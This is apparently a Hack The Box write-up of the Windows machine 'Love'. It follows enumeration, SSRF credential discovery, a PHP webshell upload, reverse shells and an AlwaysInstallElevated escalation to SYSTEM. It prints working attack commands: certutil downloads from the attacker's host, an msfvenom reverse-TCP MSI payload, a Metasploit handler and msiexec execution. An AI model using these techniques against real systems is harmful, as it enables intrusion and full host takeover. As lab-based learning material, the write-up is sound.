Love: 10.10.10.239

Hints

  • Enumerate all the web apps to get creds to an admin panel
  • Getting a foothold is all about an insecure file upload
  • Look for usual, known privesc routes that go-to tools will identify

nmap

Starting with the usual nmap scan. Interesting ports:

80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)

Looks like a lot is happening on the machine. Some of the interesting things are webservers on ports 80, 443, and 5000 - all reporting Apache and PHP. And some usual Windows services. RPC and SMB didn't give me much, so moving on to web app stuff.

80: Recon

The web app on port 80 displays a simple login form.

80 Home

I tried some default/common creds and didn't get anything. Not sure if I got any username correct, as the generic error message is Cannot find voter with the ID. This is not much info for running a password attack using hydra. The title of the page is Voting System using PHP which is a bit of a hint about the underlying stack. Started running a gobuster with the php file extension based on this information.

gobuster dir -t 20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 10.10.10.239 -x php -o gobuster_80_root_medium.log

While doing more enumeration, was looking into the gobuster results and found a few interesting things such as /admin which had another login form, and /phpmyadmin and /webalizer which were both 403 forbidden. Moving on, as there is not much else to find here.

443: Recon

Browsing to the HTTPS site on port 443, we get a cert error. Having a look at the cert reveals the following:

  • love.htb and staging.love.htb hostnames
  • roy@love.htb username

443 Cert

Added these hostnames to my /etc/hosts file. The love.htb hostname directs to the web app on port 80, and staging.love.htb redirects to a completely new site. Before looking more at that, accepted the cert for the website on port 443 and had a quick look - but we get a 403 forbidden error.

443 Forbidden

Moving on!

Staging: Recon

Found an interesting website on staging.love.htb.

Staging Home

The web app looks like a "File Scanner", and has a link to a demo version. This took me a little to find, as when viewing the web app in a small window the "hamburger" icon for the menu didn't expand while clicking. I only found the "Demo" link when I made the window winder for a screenshot - but probably (hopefully!) would have noticed it when reviewing the HTML source.

Staging Demo App

Looks like the demo app can be used to display the contents of a web page. You can put in a URL and see the loaded page. Did a few tests and we can specify something like the URL below, which will load the index.php page from the web app running on port 80.

http://localhost:80/index.php

Staging Demo App

I tried a bunch of URLs, mainly results from gobuster on the port 80 website that I could not access - including /phpmyadmin and /webalizer, but kept getting the same 403 errors. Also tried the website on port 443 gives the same 403 error I was getting before. Took me a while to think of trying port 5000, which was running another web app.

Staging Demo App

Loading the web app on port 5000 revealed a "Password Dashboard", and gave me the following creds.

  • Username: admin
  • Password: @LoveIsInTheAir!!!!

Voting System Admin: Getting a Foothold

There was a bit of a hint here - the "Voting System Administration" title above the credentials. This seemed like the creds were for the admin panel on port 80: http://10.10.10.239/admin/, and not the default login index page. The creds worked and we can log in.

Port 80 Admin

Browsed around looking for any sort of interesting user input or file uploads. Found the option to upload a candidate, which included an image upload - but it was broken. You have to select a "Position" from a drop-down box, but no positions were available to be selected! I modified the HTML of the page to add in a dummy value. Finally, I included a file upload named test.txt as the photo. I should have used an image to start, but I was in a hurry!

echo 'Hello World!' > text.txt

Anyway, the text file upload worked!

Port 80 Admin Candidate

Now we know there are most likely no checks on the file upload. Now to figure out where this file is uploaded. This is pretty easy, as we can right-click the image, and "Copy Image Location". My file named text.txt was uploaded to the images folder.

http://10.10.10.239/images/test.txt

And viewing the file.

Port 80 Admin File Upload

If we can upload a non-image (a text file) we can probably upload a PHP file. I started with a simple PHP payload. I did this by intercepting and modifying the first request I made in Burp. Changed the name to cmd.php and added a simple PHP payload as a proof of concept.

Port 80 Admin PHP Upload

Success! Like the test.txt file, we can navigate to the same folder and execute the file.

http://10.10.10.239/images/cmd.php?cmd=whoami

And... we have code execution, running as the user named phoebe.

Port 80 Admin PHP Upload

Time to get a reverse shell. There are a bunch of options here, but I went for a PHP reverse shell as it seemed the easiest. I started with trying the "laudanum" reverse shell.

cp /usr/share/webshells/laudanum/php/php-reverse-shell.php .

And uploaded it to the web app by modifying the same Burp request I had in Repeater. However, I got a uname error on the reverse shell listener on my machine.

└─$ nc -lvnp 9001                                   
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.239] 55751
'uname' is not recognized as an internal or external command,
operable program or batch file.

I guess this script is Linux only - so I went on a hunt to find a PHP reverse shell with support for Windows too. Tried a windows shell that touted support for Linux, macOS and Windows named php_reverse_shell.php by Ivan Sincek. Copied the code into the same request and ran it. Success!

└─$ nc -lvnp 9001                                                 
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.239] 55758
SOCKET: Shell has connected! PID: 6964
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>

Went back to the same request in Repeater, and change the script to use powershell.exe instead of cmd.exe and reuploaded. Probably could have just run powershell.exe from the command prompt too.

└─$ nc -lvnp 9001                                                 
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.239] 55760
SOCKET: Shell has connected! PID: 600
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\xampp\htdocs\omrs\images>

Since we have access under the phoebe user, we can probably already access the user flag. Did a character count on the file as proof. The PowerShell equivalent to wc -c is a little lengthy!

PS C:\xampp\htdocs\omrs\images> (Get-Content C:\Users\phoebe\Desktop\user.txt | Measure-Object -Character).Characters
32

Privesc: phoebe to system

Started priesc enumeration by having a look around while running winpeas in the background. Since I don't do many Windows machines, I always forget how to use PowerShell and cerutil.exe to transfer files. This article, (Almost) All The Ways to File Transfer, is a great resource that I keep referring to when I forget! And documenting the command I used to fetch winpeas for future reference.

certutil -urlcache -f "http://10.10.14.2:8000/winPEASx64.exe" "winPEASx64.exe"

There were a few things in the winpeas output that were interesting. The one that caught my eye was the AlwaysInstallElevated policy - which when enabled will install MSI files with system privliges. Nice! As we can see in the winpeas output, it is enabled.

����������͹ Checking AlwaysInstallElevated
�  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU

HackTricks AlwaysInstallElevaated has a good summary of the configuration:

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

Found another article called Windows Privilege Escalation (AlwaysInstallElevated) which gave detailed instructions on how to exploit it. There are two options, I picked the reverse shell option.

Started by using msfvenom to generate a malicious MSI file to upload to the target. This has my reverse shell configuration.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.2 lport=9001 -f msi > exploit.msi

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of msi file: 159744 bytes

Then configured a meterpreter listener on my machine.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > exploit

Switching to the server, I fetched the exploit.msi file that I just created.

certutil -urlcache -f "http://10.10.14.2:8000/exploits/exploit.msi" "exploit.msi"

And ran the exploit on the target...

msiexec /quiet /qn /i exploit.msi

However, it was not executing. After some experience with this problem - guessing it is a PowerShell versus Command Prompt problem. There are two ways to get around this. Get another reverse shell as phoebe using cmd.exe. Or get PowerShell to run the command in cmd.exe. The latter sounded easier. Turns out you can use the Start-Process cmdlet to run a program in the Command Prompt.

Start-Process cmd.exe -ArgumentList "/C msiexec /quiet /qn /i exploit.msi"

After running it, got a connection back on my meterpreter listener.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.2:9001 
[*] Sending stage (175174 bytes) to 10.10.10.239
[*] Meterpreter session 1 opened (10.10.14.2:9001 -> 10.10.10.239:55766) at 2021-08-07 11:02:59 +1200

meterpreter > shell
Process 6604 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

Used meterpreter to load a shell, then loaded up PowerShell.

C:\WINDOWS\system32>powershell.exe
powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\WINDOWS\system32> 

And got the root flag.

PS C:\WINDOWS\system32> (Get-Content C:\Users\Administrator\Desktop\root.txt | Measure-Object -Character).Characters
(Get-Content C:\Users\Administrator\Desktop\root.txt | Measure-Object -Character).Characters
32

Done!

Lessons Learned

  • Remember that not all webshells will be cross-platform - and that the PHP reverse shell used in this writeup was pretty stable!
  • Sometimes getting a command prompt makes life easier compared to the more "powerful" PowerShell option!

Useful Resources